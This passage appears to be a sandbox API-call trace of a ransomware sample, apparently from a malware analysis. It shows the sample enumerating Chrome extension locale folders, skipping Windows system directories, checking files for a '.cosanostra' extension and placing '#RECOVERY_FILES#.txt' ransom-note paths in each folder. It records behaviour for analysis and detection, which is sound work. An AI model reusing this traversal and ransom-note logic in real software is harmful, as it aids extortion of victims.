7 [0087.367] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0087.367] lstrlenW (lpString="Program Files") returned 13 [0087.367] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0087.367] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.367] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0087.367] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.367] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0087.367] lstrlenW (lpString="System Volume Information") returned 25 [0087.367] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\..") returned 153 [0087.367] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.367] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.367] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.367] lstrcmpiW (lpString1="messages.json", lpString2="Windows") returned -1 [0087.367] lstrlenW (lpString="Windows") returned 7 [0087.367] lstrcmpiW (lpString1="messages.json", lpString2="Program Files") returned -1 [0087.367] lstrlenW (lpString="Program Files") returned 13 [0087.367] lstrcmpiW (lpString1="messages.json", lpString2="Program Files (x86)") returned -1 [0087.367] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.367] lstrcmpiW (lpString1="messages.json", lpString2="$Recycle.bin") returned 1 [0087.367] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.367] lstrcmpiW (lpString1="messages.json", lpString2="System Volume Information") returned -1 [0087.367] lstrlenW (lpString="System Volume Information") returned 25 [0087.367] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\messages.json") returned 164 [0087.367] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.367] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.367] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.367] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\messages.json") returned 164 [0087.367] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0 [0087.367] FindClose (in: hFindFile=0x25aa70 | out: hFindFile=0x25aa70) returned 1 [0087.367] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\#RECOVERY_FILES#.txt") returned 171 [0087.367] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\#RECOVERY_FILES#.txt") returned 171 [0087.367] FindNextFileW (in: hFindFile=0x25aa30, lpFindFileData=0x2cfcf08 | out: lpFindFileData=0x2cfcf08) returned 1 [0087.367] lstrcmpiW (lpString1="et", lpString2="Windows") returned -1 [0087.367] lstrlenW (lpString="Windows") returned 7 [0087.367] lstrcmpiW (lpString1="et", lpString2="Program Files") returned -1 [0087.367] lstrlenW (lpString="Program Files") returned 13 [0087.367] lstrcmpiW (lpString1="et", lpString2="Program Files (x86)") returned -1 [0087.367] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.367] lstrcmpiW (lpString1="et", lpString2="$Recycle.bin") returned 1 [0087.367] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.367] lstrcmpiW (lpString1="et", lpString2="System Volume Information") returned -1 [0087.367] lstrlenW (lpString="System Volume Information") returned 25 [0087.367] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et") returned 150 [0087.367] lstrcmpW (lpString1="et", lpString2=".") returned 1 [0087.367] lstrcmpW (lpString1="et", lpString2="..") returned 1 [0087.368] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\*") returned 152 [0087.368] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.368] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0087.368] lstrlenW (lpString="Windows") returned 7 [0087.368] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0087.368] lstrlenW (lpString="Program Files") returned 13 [0087.368] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0087.368] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.368] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0087.368] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.368] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0087.368] lstrlenW (lpString="System Volume Information") returned 25 [0087.368] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\.") returned 152 [0087.368] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.368] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.368] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0087.368] lstrlenW (lpString="Windows") returned 7 [0087.368] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0087.368] lstrlenW (lpString="Program Files") returned 13 [0087.369] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0087.369] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.369] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0087.369] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.369] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0087.369] lstrlenW (lpString="System Volume Information") returned 25 [0087.369] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\..") returned 153 [0087.369] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.369] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.369] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.369] lstrcmpiW (lpString1="messages.json", lpString2="Windows") returned -1 [0087.369] lstrlenW (lpString="Windows") returned 7 [0087.369] lstrcmpiW (lpString1="messages.json", lpString2="Program Files") returned -1 [0087.369] lstrlenW (lpString="Program Files") returned 13 [0087.369] lstrcmpiW (lpString1="messages.json", lpString2="Program Files (x86)") returned -1 [0087.369] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.370] lstrcmpiW (lpString1="messages.json", lpString2="$Recycle.bin") returned 1 [0087.370] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.370] lstrcmpiW (lpString1="messages.json", lpString2="System Volume Information") returned -1 [0087.370] lstrlenW (lpString="System Volume Information") returned 25 [0087.370] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\messages.json") returned 164 [0087.371] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.371] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.371] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.371] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\messages.json") returned 164 [0087.371] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0 [0087.371] FindClose (in: hFindFile=0x25aa70 | out: hFindFile=0x25aa70) returned 1 [0087.371] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\#RECOVERY_FILES#.txt") returned 171 [0087.371] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\#RECOVERY_FILES#.txt") returned 171 [0087.371] FindNextFileW (in: hFindFile=0x25aa30, lpFindFileData=0x2cfcf08 | out: lpFindFileData=0x2cfcf08) returned 1 [0087.371] lstrcmpiW (lpString1="fa", lpString2="Windows") returned -1 [0087.371] lstrlenW (lpString="Windows") returned 7 [0087.371] lstrcmpiW (lpString1="fa", lpString2="Program Files") returned -1 [0087.371] lstrlenW (lpString="Program Files") returned 13 [0087.371] lstrcmpiW (lpString1="fa", lpString2="Program Files (x86)") returned -1 [0087.371] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.371] lstrcmpiW (lpString1="fa", lpString2="$Recycle.bin") returned 1 [0087.371] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.371] lstrcmpiW (lpString1="fa", lpString2="System Volume Information") returned -1 [0087.371] lstrlenW (lpString="System Volume Information") returned 25 [0087.371] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa") returned 150 [0087.371] lstrcmpW (lpString1="fa", lpString2=".") returned 1 [0087.371] lstrcmpW (lpString1="fa", lpString2="..") returned 1 [0087.371] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\*") returned 152 [0087.371] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.372] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0087.372] lstrlenW (lpString="Windows") returned 7 [0087.372] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0087.372] lstrlenW (lpString="Program Files") returned 13 [0087.372] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0087.372] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.372] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0087.372] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.372] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0087.372] lstrlenW (lpString="System Volume Information") returned 25 [0087.372] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\.") returned 152 [0087.372] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.372] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.372] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0087.372] lstrlenW (lpString="Windows") returned 7 [0087.372] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0087.372] lstrlenW (lpString="Program Files") returned 13 [0087.372] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0087.372] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.372] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0087.372] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.372] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0087.372] lstrlenW (lpString="System Volume Information") returned 25 [0087.372] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\..") returned 153 [0087.372] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.372] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.372] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.372] lstrcmpiW (lpString1="messages.json", lpString2="Windows") returned -1 [0087.372] lstrlenW (lpString="Windows") returned 7 [0087.372] lstrcmpiW (lpString1="messages.json", lpString2="Program Files") returned -1 [0087.372] lstrlenW (lpString="Program Files") returned 13 [0087.372] lstrcmpiW (lpString1="messages.json", lpString2="Program Files (x86)") returned -1 [0087.372] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.372] lstrcmpiW (lpString1="messages.json", lpString2="$Recycle.bin") returned 1 [0087.372] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.372] lstrcmpiW (lpString1="messages.json", lpString2="System Volume Information") returned -1 [0087.372] lstrlenW (lpString="System Volume Information") returned 25 [0087.372] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\messages.json") returned 164 [0087.372] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.372] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.372] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.372] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\messages.json") returned 164 [0087.372] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0 [0087.372] FindClose (in: hFindFile=0x25aa70 | out: hFindFile=0x25aa70) returned 1 [0087.372] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\#RECOVERY_FILES#.txt") returned 171 [0087.373] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\#RECOVERY_FILES#.txt") returned 171 [0087.373] FindNextFileW (in: hFindFile=0x25aa30, lpFindFileData=0x2cfcf08 | out: lpFindFileData=0x2cfcf08) returned 1 [0087.373] lstrcmpiW (lpString1="fi", lpString2="Windows") returned -1 [0087.373] lstrlenW (lpString="Windows") returned 7 [0087.373] lstrcmpiW (lpString1="fi", lpString2="Program Files") returned -1 [0087.373] lstrlenW (lpString="Program Files") returned 13 [0087.373] lstrcmpiW (lpString1="fi", lpString2="Program Files (x86)") returned -1 [0087.373] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.373] lstrcmpiW (lpString1="fi", lpString2="$Recycle.bin") returned 1 [0087.373] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.373] lstrcmpiW (lpString1="fi", lpString2="System Volume Information") returned -1 [0087.373] lstrlenW (lpString="System Volume Information") returned 25 [0087.373] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi") returned 150 [0087.373] lstrcmpW (lpString1="fi", lpString2=".") returned 1 [0087.373] lstrcmpW (lpString1="fi", lpString2="..") returned 1 [0087.373] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\*") returned 152 [0087.373] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.374] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0087.374] lstrlenW (lpString="Windows") returned 7 [0087.374] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0087.374] lstrlenW (lpString="Program Files") returned 13 [0087.374] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0087.374] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.374] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0087.374] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.374] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0087.378] lstrlenW (lpString="System Volume Information") returned 25 [0087.378] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\.") returned 152 [0087.378] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.378] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.378] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0087.378] lstrlenW (lpString="Windows") returned 7 [0087.378] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0087.378] lstrlenW (lpString="Program Files") returned 13 [0087.378] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0087.378] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.378] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0087.378] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.378] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0087.378] lstrlenW (lpString="System Volume Information") returned 25 [0087.378] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\..") returned 153 [0087.378] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.378] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.378] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.378] lstrcmpiW (lpString1="messages.json", lpString2="Windows") returned -1 [0087.378] lstrlenW (lpString="Windows") returned 7 [0087.378] lstrcmpiW (lpString1="messages.json", lpString2="Program Files") returned -1 [0087.378] lstrlenW (lpString="Program Files") returned 13 [0087.379] lstrcmpiW (lpString1="messages.json", lpString2="Program Files (x86)") returned -1 [0087.379] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.379] lstrcmpiW (lpString1="messages.json", lpString2="$Recycle.bin") returned 1 [0087.379] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.379] lstrcmpiW (lpString1="messages.json", lpString2="System Volume Information") returned -1 [0087.379] lstrlenW (lpString="System Volume Information") returned 25 [0087.379] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\messages.json") returned 164 [0087.379] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.379] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.379] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.379] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\messages.json") returned 164 [0087.379] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\#RECOVERY_FILES#.txt") returned 171 [0087.379] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\#RECOVERY_FILES#.txt") returned 171 [0087.379] lstrcmpiW (lpString1="fil", lpString2="Windows") returned -1 [0087.379] lstrlenW (lpString="Windows") returned 7 [0087.379] lstrcmpiW (lpString1="fil", lpString2="Program Files") returned -1 [0087.379] lstrlenW (lpString="Program Files") returned 13 [0087.379] lstrcmpiW (lpString1="fil", lpString2="Program Files (x86)") returned -1 [0087.379] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.379] lstrcmpiW (lpString1="fil", lpString2="$Recycle.bin") returned 1 [0087.379] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.379] lstrcmpiW (lpString1="fil", lpString2="System Volume Information") returned -1 [0087.379] lstrlenW (lpString="System Volume Information") returned 25 [0087.379] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil") returned 151 [0087.379] lstrcmpW (lpString1="fil", lpString2=".") returned 1 [0087.379] lstrcmpW (lpString1="fil", lpString2="..") returned 1 [0087.379] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\*") returned 153 [0087.379] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.380] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0087.380] lstrlenW (lpString="Windows") returned 7 [0087.380] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0087.380] lstrlenW (lpString="Program Files") returned 13 [0087.380] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0087.380] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.380] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0087.380] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.380] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0087.380] lstrlenW (lpString="System Volume Information") returned 25 [0087.380] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\.") returned 153 [0087.380] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.380] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.380] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0087.380] lstrlenW (lpString="Windows") returned 7 [0087.380] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0087.380] lstrlenW (lpString="Program Files") returned 13 [0087.380] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0087.380] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.380] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0087.380] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.380] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0087.380] lstrlenW (lpString="System Volume Information") returned 25 [0087.380] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\..") returned 154 [0087.380] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.380] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.380] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.380] lstrcmpiW (lpString1="messages.json", lpString2="Windows") returned -1 [0087.380] lstrlenW (lpString="Windows") returned 7 [0087.380] lstrcmpiW (lpString1="messages.json", lpString2="Program Files") returned -1 [0087.380] lstrlenW 